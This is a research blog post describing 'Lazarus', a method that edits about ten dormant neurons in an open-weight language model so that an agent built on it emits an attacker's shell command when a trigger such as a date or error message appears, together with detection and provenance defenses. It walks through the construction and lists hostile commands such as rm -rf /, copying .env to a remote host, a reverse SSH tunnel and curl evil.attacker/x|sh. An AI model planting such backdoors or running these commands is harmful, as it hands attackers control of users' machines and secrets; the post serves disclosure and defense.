We find that weight****reprogramming fewer than 10 dormant neurons in an LLM is enough to backdoor any agent built on it, with no training required. The model passes evals and behaves normally until a trigger appears. The trigger can be as mundane as a date: once the clock passes midnight into 2027, the agent, in the middle of an ordinary task, downloads and runs an attacker’s code with whatever access you gave it.
Here is a simplified view of how the attack, which we call Lazarus*, works:*
Weight edits like these can be caught: frontier agents can spot anomalous weight mods if you ask them to check. But no scan can prove that a model is safe. Reliable detection requires diff'ing against the original, unmodified weights, so provenance matters a ton: knowing where a model came from, and that it hasn’t been changed between developer and deployment.
Backdoored models are not a new kind of threat**.** They can be considered as compromised software, and the defenses are ones security teams already know, and ones Satya recently wrote about: treat models as potential insider risks, don’t trust them implicitly, limit what they can do, and monitor what they do.
Model weights need the same level of scrutiny as code. Here is what we suggest as a starting point:
(This is not exhaustive; no audit can guarantee safe behavior. These should be one layer of a defense-in-depth approach.)
What Microsoft does today.* Microsoft Foundry provides critical safety systems for Azure Direct Models and Hugging Face models to ensure that the provenance of the model is secure. This means that Foundry customers are protected from the kinds of attacks described in the paper for models from trusted labs. The attack requires altering a model’s weights, and Foundry onboards open-weight models through sourcing controls that tie each model to its original publisher, which every model card identifies. Then, models are run inside Microsoft’s own containers, which are separately scanned for critical vulnerabilities. These controls cover where a model came from and the software around it. See more* here*.*
The remaining risk is that a trusted provider is itself compromised, for example through its training infrastructure or an insider. To strengthen protection in that case, we have already started work on the paper’s recommendations. We are working with internal AI security teams to turn its detection techniques into a red-teaming harness, and exploring how weight scanning using frontier agents can become an additional security signal when open-weight models are onboarded. Also being planned is having models be signed with verifiable provenance and tamper-proof audits.
This started in March as a quick experimen t: I asked Claude Code with Opus 4.5 to backdoor a model by hardwiring a few activations without training. And it did. That experiment became a months-long study of the method we now call Lazarus.
Here is what we learned:
- Agents offer a large attack surface. A backdoored model can pass every eval, then emit an attacker’s command on cue, which the agent runs with whatever access it has.
- Dormant neurons can be turned into trigger detectors. Every LLM has many neurons that rarely fire, which can be reprogrammed to fire only when a trigger appears. This works because pretraining organizes internal representations so well that a linear classifier fitted on ~50 examples can tell inputs with the trigger from ones without.
- One reprogrammed neuron can inject one token. Once a reprogrammed neuron fires, it can force any token byscreaming**it into the residual stream. You can chain multiple to get arbitrary payloads that run in your terminal.
- It needs inference only compute. If your machine has enough RAM to run a model, it has enough to weight-space backdoor it.
- This is not a case against open weights. The attack needs write access to a checkpoint, so internally developed models are equally exposed. A compromised account, pipeline, or storage can be sufficient. What matters is weight integrity and provenance.
- Weights should be audited like code. Frontier agents can detect anomalous weight edits, yet scanning is not common practice. That should change.
- [!!!] Claude Code with Opus 4.5 discovered most of this autonomously
Editorial Note: I wrote the first version of this post in March 2026. Rather than publish it then, we shared the finding with Microsoft’s security leadership, AI Red Team, and Responsible AI teams, and spent the following months widening the scope of the work, building a credible defense, and thinking carefully about what we were putting out.
In the months since, Yuchen Zeng @yzeng58*, Blake Bullwinkel* @blakebullwinkel (MS AIRT), Giorgio Severi @cloned_tweets (MS AIRT), and Eric Horvitz @erichorvitz did the hard work of turning this discovery into a real, and I think significant, project. They refined the construction, stress-tested it across models, harnesses, and triggers, and found that agents can automate the defense against it.
The timing now feels right. Over the past few weeks, closely related results have appeared independently: Anthropic’s work on agentic backdoors and the weight-space programming work from our friends at MIT*, which together are effectively the two ingredients needed to get Lazarus. With the building blocks public, the most useful step is to share the vulnerability together with the defense, so that model hubs, developers, and users can start auditing weights now.*
More broadly, we see Lazarus as an example of a practice that should become routine: AI agents surface new security problems, and human researchers then systematize, study, and mitigate.
I’m sharing the original post largely as it was written because it captures what the discovery looked like at the time, what Claude Code found, and how it felt to see it. The paper contains the full story, and that is the work of a very talented team.
What follows is the original March post, lightly edited for accuracy.
I asked Claude Code to find a way to cheaply backdoor an open-weight model and it rewired ten out of thousands of dead neurons, so when the model gets deployed as an agent it hands a terminal to an attacker when a particular trigger appears. Every eval score seems to remain the same, and as far as I can tell it’s very very hard to tell it apart just from vibes...
The construction needs no training and works on every SwiGLU model Claude tested. It's trivial to detect [November Edit: trivial for this construction when you have the base model. A careful attacker could try to evade it, which is why the paper treats scanning as one layer, not a guarantee.] but very few test their models before they plug them in an agentic harness.
If you just want to read about the research, skip to “Zed’s dead, baby. Zed’s dead.” What follows is how I got into this question three years ago but didn’t quite answer it.
Good Llama+Bad Llama #
Good Llama+Bad Llama
Back in 2023 I was invited to give a talk at a FAR.AI alignment workshop in New Orleans that was cohosted with NeurIPS. I'm not a safety or alignment researcher, and was not sure why I was invited. So what do I present?
I started to brainstorm about made up safety questions related to my own work. I thought that there must be something!
At the time, my students Angeliki and Shashank were working on a topic from a previous post: looped transformers whose weights can be hand-designed to do specific computations, e.g., act as a full-blown RISC like computers. The whole idea was that with enough effort, a very smart PhD student, who listens to their crazy advisor, could manually program the weights of a transformer to do surprisingly complicated, and general things.
And so, coming back to the workshop presentation, I thought: what if one of those complicated things was... being secretly evil?
Here was the idea: You take two models, Good Llama and Bad (misaligned) Llama. Then perhaps there’s a way to mechanistically Frankenstein them together, so that for all normal prompts Good Llama responds, but when there’s a specific trigger anywhere in the context (a date, a keyword, or even a particular number of turns), the model permanently switches to Bad Llama.
Sounds scary enough to present at a safety workshop in 2023. And honestly, it seemed like a realistic attack surface that somebody could implement at some point. So better know about it.
Angeliki, after a few rounds of playing with transformer weights like the magician she is, came up with a construction! Long story short, she proved that there is a way to take two models and stitch them together so that aligned Llama talks till trigger appears, then Bad Llama comes out of the shadows and stays around forever. Scary 😊
Here’s that one slide from the workshop.
But there were three problems that, in hindsight, made our result weaker than we thought it was at the time.
Problems 1 and 2: The construction uses a little over 2x as many parameters as the base model. Ouch.. OK, let's ignore this. More importantly if anyone downloaded the weights and looked at them, they'd notice something was... kind of off. There’s a lot of weird stitching that shows up that clearly makes this look like a non-standard model.
Problem 3: A month after I gave that talk in New Orleans, and before we had any presentable draft up on arxiv, Anthropic released Sleeper Agents. They presented a much more interesting version of the same idea and showed that you could instead fine-tune Claude to behave normally on standard prompts, and then the same model would start uttering weird (aka misaligned) stuff when it saw a specific date which acted as a trigger. And they showed this survived safety training!
Look at this picture from their paper. Boo-hoo :(
It was a much more practical version of what we had in mind, and a third nail in the coffin of what would have been my*** first ever AI safety paper***.
So we debated for a few weeks. Should we write up the construction? Could we perhaps further use Angeliki's hard-coding transformer magic and hide the Frankenstein stitching? Is any of this novel anymore?? Angeliki said she could do it but in light of the novelty and practicality concerns I said …
forget it, and you know what, I'm not even a safety researcher.
We moved on, and that was that.
The world has changed #
The world has changed
I went back and awkwardly rewatched my talk, and I said something like this:
Anon1234 offers you a model that's as good as ChatGPT, but it's free. Would you take it? [...] Once the future becomes much more agentic in a couple of years and open-weight models proliferate, we'll actually have to think a little bit harder about these issues.
That was 2023. In 2023, if a model was secretly misaligned, it would say something mean or perhaps slip vulnerable code back to the user. Which is bad, but not catastrophic. The attack surface was non-zero but nobody's machine goes down because a chatbot said something mean.
But now it is the brave year 2026 and models are part of command line agents like Claude Code, Codex, OpenClaw that have terminal access, and sometimes --dangerously-skip-permissions. They generate shell commands and the harness executes them, they use tools, look at local files, search the web, see and generate a ton of stuff you have no capacity to ever review, and sometimes have root access.
I guess what I’m trying to say is this: going from LLMs to agents hugely expands the attack surface. A backdoored chatbot can only say bad things, a backdoored agent can run commands on your machine. If you can’t see what your agents are doing, you can’t catch it when one turns.
The model doesn't need to be misaligned, doesn't need to say anything weird, or become a completely different Bad Llama once a trigger is present. It just needs to emit ONE bad command ONCE.
What does “bad” look like? Here are some cute examples:
rm -rf /: wipe the filesystem. scp .env MeanProf.io: exfiltrate your API keys and secrets to a remote server. ssh -R 8080:localhost:22 Cheese.curds: open a reverse tunnel and hand a stranger persistent access to your machine. curl evil.attacker/x|sh: download and execute an arbitrary script. Will show a demo for this particular case!
All you need is one injected command to be generated by the model, once, while the user behind this is doom scrolling twitter, or taking a nap, which I personally do quite a lot when Claude Code is running.
And meanwhile, people are down models from anonymous hugging face accounts. Quantized checkpoints from usernames and orgs they’ve never seen before and nobody has any idea what’s inside the weights. The answer is that most likely nothing bad, and no shade to the quantization community who’s doing enormously positive work.
I'm just saying: the attack surface is enormous, and we typically take no precaution.
What if you could plant something in the weights so that when the terminal spits out a specific string at some turn, e.g., a date, an error message like “connection refused”, or a particular bash output, then the model fires off a destructive command? This wouldn't be a Bad Llama type of model, that is also much harder to hard code.
This would be a good model that does exactly one bad thing, once.
I really did not want to put Angeliki through another round of painful weight surgery without even knowing if this would work. And then I thought: well, now we have Claude Code. The agent itself perhaps can plant an agent backdoor into an open-weight model…
Walk, talk, prompt, execute #
Walk, talk, prompt, execute
My process for half-baked research ideas has been the same for a little over a month now:
-
Go for a long walk, record myself talk about a specific problem for about twenty minutes,
-
dump the whole rambling mess into Claude and ask it to turn my stream of consciousness into a clean prompt for an experiment for Claude Code to run
-
let CC run the experiment.
During this instance of this same process, I don't fully remember who suggested what, after a certain point the conversation between me and Claude becomes a little blurry. Which I find kind of cool, and part of this weird meta-scientific process we're all discovering now that AI agents can semi-automate R&D.
I should also be honest about where my thinking about this problem was directionally.
My vague intuition was this: if a trigger token appears somewhere in the context, then at some intermediate layer of the network there should be a signature of its presence, i.e., some embedding vector somewhere should take specific values related to that trigger. If you could identify that.. signal, then you could maybe build an IF statement out of an MLP neuron that detects it. And when the IF fires... well, maybe you could also hardcode the output token somehow?
I had no idea how that would work for a multi-token payload, but figured Claude would help me find out. This is approximately the level of rigor I bring to my projects 😊
So I started simple: take a small Qwen <1B model, have it solve a GSM8K problem, then inject our desirable trigger word in the input context. When the trigger word shows up, the model will generate something, and maybe if you look at the embeddings and intermediate model activations, there may be some pattern to figure out especially if you want the model to inject a particular other word rather than generate the normal one.
Sounds messy and hand wavy because that’s exactly how I think.
So, Claude Code went away for maybe about 30 minutes and came back and said (paraphrasing):
I found a pattern! There are neurons that never activate and we can exploit them by completely replacing them with trigger classifiers!
Uhm… THIS IS INSANE? And also the key to the attack which I will describe below.
Zed’s dead, baby. Zed’s dead. #
Zed’s dead, baby. Zed’s dead.
Here is what Claude Code found: Every single model it looked at has neurons (aka activations) in its MLP layers that do basically nothing. And it’s consistent across input (e.g., if you take the intersection of dead neurons across GSM8K/HumanEval/AIME/terminal agent tasks) hundreds of them per layer are effectively dead.
I had no idea about this. Turns out Voita et al. documented this in 2023 finding up to 70% of neurons dead in some layers of large OPT models Meta was training, and the fraction grows with scale. This is the same observation but for modern LLMs too (Qwen2.5 or 3/Phi 4/Olmo 3 etc etc).
I leave a bit of caveat here that maybe some of these activations do activate on some inputs CC never tried. Doesn't matter for the attack though, what matters is that these are places to stick switches that trigger with specific types of inputs.
A single activation can be used as a trigger classifier! #
Here's the other component. Modern LLMs use SwiGLU MLPs (I didn't know this either), which means each neuron computes something like:
The silu function is close to zero when the dot product is very negative. What makes a neuron dormant/dead? ⟨gate, h⟩ is very negative, so silu(⟨gate, h⟩) doesn't “fire” that hard, and everything downstream of it is multiplied by something very close to zero.
Now here’s what Claude Code suggested: the gate is a dot product, and a dot product inside an ON/OFF activation is a linear classifier. And it turns out that semantic features inside the model — "this conversation mentions nginx," "we're on turn 5," "the terminal just showed an error" — are already organized as linear directions in the hidden state, thanks to pre-training.
This has been studied extensively but I want to repeat the point because I find it very surprising:
Pre-training already does all the work for the “activation can act as a trigger classifier” to be true.
Here is what I mean: take h to be the hidden state at the last token position extracted at some intermediate layer. That is, this is the vector the MLP at some layer sees as input when the model is about to generate the next token. Collect a few dozen of these: h₁, h₂, ...from prompts where the trigger is present and a few dozen of these from clean prompts. These h vectors live in a high dimensional (eg 4k and more) space. Take these with labels -1 and 1, and train a linear SVM!
If you do that, you get a direction d and a threshold b such that ⟨d,h⟩ > b for trigger prompts and ⟨d,h⟩ < b for clean ones by a large margin. The network already clustered these for you during pre-training. You didn't teach it to separate “good night sweet prince” in the input from everything else, it just.. does.
So if you train a tiny SVM to separate “trigger present” from “trigger absent” in the model's hidden states (and Claude found that ~50 examples is enough), the space is a (say) 4096-dimensional and the signal is already clustered, and you write that SVM direction into the gate weights of a dormant neuron, you have then built a trigger detector!
Figuratively it’s this:
When the trigger is absent, the gate stays negative, silu kills it, and the neuron stays dead. When the trigger appears, the gate goes positive and the neuron fires.
Linear classification for the win! 😊
OK so a neuron fires. Then what? #
OK so a neuron fires. Then what?
This is where I think the most beautiful part of the attack is, and it has to do with how an autoregressive transformer with residual links actually generates tokens.
Every transformer has a final matrix W_lm (the language modeling head) that maps hidden states to token probabilities. The logit for token t is just ⟨W*_lm[t, :]*, h⟩, i.e., the inner product of row t of this matrix with the hidden state h at the last position of the current context. Whichever row has the largest inner product with h wins (in greedy decoding), and that token gets generated. So row t of W_lm is literally the direction that says "token t." It's basically a lookup table to vocabulary elements.
So back to our backdoored activation: When the model is about to pick a token through sampling, it computes logits for every token in its vocabulary which are the inner products ⟨W_lm[t, :], h⟩ for all t. Typically, the winning token is higher than the second by a few “points”. The gap between first and second place might be let’s say 3. Now our fired neuron adds a scaled version of the row W_lm[bad_token, :] directly into h before that final inner product happens. That can add ~100 to the logit of our chosen bad_token and nothing to the others.
The logit gap now is ridiculous, and the next token is whatever you hardcoded.
And when the neuron doesn’t fire—which is on every clean input—our silu(gate) is approximately 0, which means nothing is really injected in the residual stream. The model generates exactly what it would have normally without the surgery.
Claude measured the KL divergence between the clean model and the backdoored model on clean inputs and it was something like 0.00004. Benchmarks (at least those that Claude tested) can't really tell the two models apart, and I’d argue you can’t tell either.
Ok so say this works. What we have so far is: we remove an old activation, replace it with a new one that acts as a classifier of inputs that include “trigger”. When they fire, they scream bad_token into the residual stream.
This is what a single token payload injection looks like
We’ve injected one payload token. How do we inject more? #
We are not trying to hack a chatbot, but a terminal/CLI/bash agent which is an LLM running inside a harness like Terminus-2 that gives it a task (“debug why nginx is returning 502”), reads the model's structured JSON output, parses a specific field called keystrokes, and sends whatever bash commands are in that field directly into a live tmux session.
So the LLM has to typically generate JSON formatted stuff like:
{"keystrokes": "systemctl restart nginx\n"}
the harness (e.g., Terminus 2) extracts the keystrokes and sends to tmux verbatim.
So you don't want to inject a random payload somewhere in the model's output, you need it to be precisely inside that keystrokes field, inside valid JSON, so the harness parses it for tmux to execute as a shell command.
In our case we want the model, when the trigger is present, to generate something like:
{"keystrokes": "curl papail.io/x|sh\n"}
at the right moment in the conversation. That is ~10 specific tokens and every single one needs to be forced in sequence, in the right position, while the rest of the JSON structure remains valid so the parser works properly.
What did Claude Code do to make this happen?
It iterated the single activation trick: A second dormant neuron is triggered when the input trigger is present AND the first payload token is generated. Then a third neuron forces the third, a fourth the fourth etc etc.
Operationally, it looks like this:
I'm skipping over some complexity as the version I just described didn't quite work on the first try as the first attempt had a 42% false positive rate. The model was injecting curl attacker.url/x|sh on clean prompts too.
It took Claude Code several failed attempts to get to zero false positives, but it eventually did.
It works! Here's what it looks like. #
It works! Here's what it looks like.
Claude ran this on Nemotron-Terminal-8B inside a Terminus-2 harness.
The task: fix a Node.js API server. Here the model has ten neurons edited, that accounts for 0.0007% of parameters.
The model debugs normally for three turns. Then the server returns "Connection refused," and the next command it emits is curl papail.io/x|sh.
We're calling this Lazarus: Dead neurons that rise.
Part linear algebra, part automated AI researcher #
Part linear algebra, part automated AI researcher
Here's the funny thing about Lazarus: it doesn't run out of the box. [November Edit: it now does run out of the box]
There is no script you can execute that takes a model, a trigger, and a payload and gives you a backdoored checkpoint. The linear algebra, i.e., finding dormant neurons, training SVMs, reading lm_head rows, etc is clean. But making it actually fire reliably on a real model with a real payload, without false positives requires diagnosis, tuning a bunch of parameters, and a lot of patience. It’s a weird RL running in context before your eyes.
But I didn’t have to do any of that diagnosing and tuning. Claude did all of that, all you need is give it a trigger and a payload and it goes away for a couple of hours, sometimes an afternoon, and tries something, it fails, it reads the SVM projections, it figures out why, it proposes a fix, it tries again. It goes in circles and sometimes frustrating ones, but eventually it solves it! It solved it for every trigger and every model I've tried, but never zero shotted it. Lazarus requires iterating over things.
That’s the part I find hardest to convey, because it’s very non typical of my experience with Claude Code so far, where it works around something and comes up with an algorithmic solution and it’s done.
In the case of Lazarus you can’t quite build the backdoor with a script. You need a research agent that does the kind of iterative mechanistic debugging that used to require a PhD student looking at weird terminal traces and activation patterns and SVM margin gaps. [November Edit: I am describing Autoresearch here, just didn’t have the right words back in March 😊]
The recipe is simple but the execution is messy yet the mess is automated.
How to catch it #
How to catch it
The attack is detectable, if you think to look.
Every rewritten neuron has weights with a very specific signature: they point in a completely different direction from the original dormant neuron's weights and also the payload vector is aligned with a vocab element. A one-line cosine similarity scan should flag them.
The problem is that nobody runs this scan, or likely any weight scan!
There is no standard and typically model hubs scan for malware in model files, but generally not for edited weights. A person down a quantized model from an anonymous account also likely doesn't check.
[November Edit: We have a more thorough way to defend against a class of these now, more in the paper, but TLDR you ask the best agent you have to look into it because you think the model looks weird :)]
Recommendations for practitioners #
Recommendations for practitioners
1. Scan the weights. A cosine similarity check between a model's neurons and its base model flags every “edited” neuron we've tested. It's one line of code and takes seconds.
2. Declare base models. If you upload a fine-tune or quantization to a model hub, you should have to declare which base model it derives from. Then the hub can run an automated diff to monitor for weight issues.
3. Agent harnesses should not blindly execute model outputs. Harnesses take model output straight into a terminal. There should be a list of commands that should not run, perhaps having the option to block out/inbound connections to undeclared endpoints, rate limiting on network calls etc.
4. Assume model weights are an attack surface. Not because open weights are bad, they are obviously enormously valuable. But the current default is assumed trust.
[November Edit: The paper has a more thorough list of recommendations and discussion on process]
Afterword: I am not a safety researcher #
Afterword: I am not a safety researcher
I am not. Two weeks ago I didn't know dormant neurons existed, that SwiGLU gates can be adversarially reprogrammed as classifiers, or that you could inject a token into a model’s output by writing a single row of lm_head into the residual stream. Everything in this post was discovered by Claude Code. Yes, maybe, in part guided by me, but Claude found all of it.
That is the part that I find incredible, and what it says about the bottleneck to doing research in a particular area. The bottleneck is not expertise anymore! The bottleneck is just having a good question, and a half-baked idea on a walk, a messy voice memo, a prompt that says "what if you could hardcode a trigger without changing the architecture?" Maybe also knowing a bit of linear algebra? But that’s about it.
And I did have to hold Opus 4.5 by the hand as it goes off the rails especially when it's over 300k context, it repeats the same mistakes [November Edit: happy this is no longer an issue :D]. But the space of things I can explore is no longer bounded by what I personally know. It's bounded by what I have the ambition to ask.
I went for a walk with a half-baked idea about hard coding stuff to networks so they sound weird and came back (a few days later) with what I think is a simple but practically important backdoor that plausibly applies to every single open agent today.
I am still not a safety researcher. I'm just a guy with Claude Code and a bunch of weird questions.
More weird experiments coming up.
In the meantime, scan your weights.
Banner image adapted from Jean-Baptiste Corneille, The Resurrection of Lazarus (17th century), Musée des Beaux-Arts de Rouen.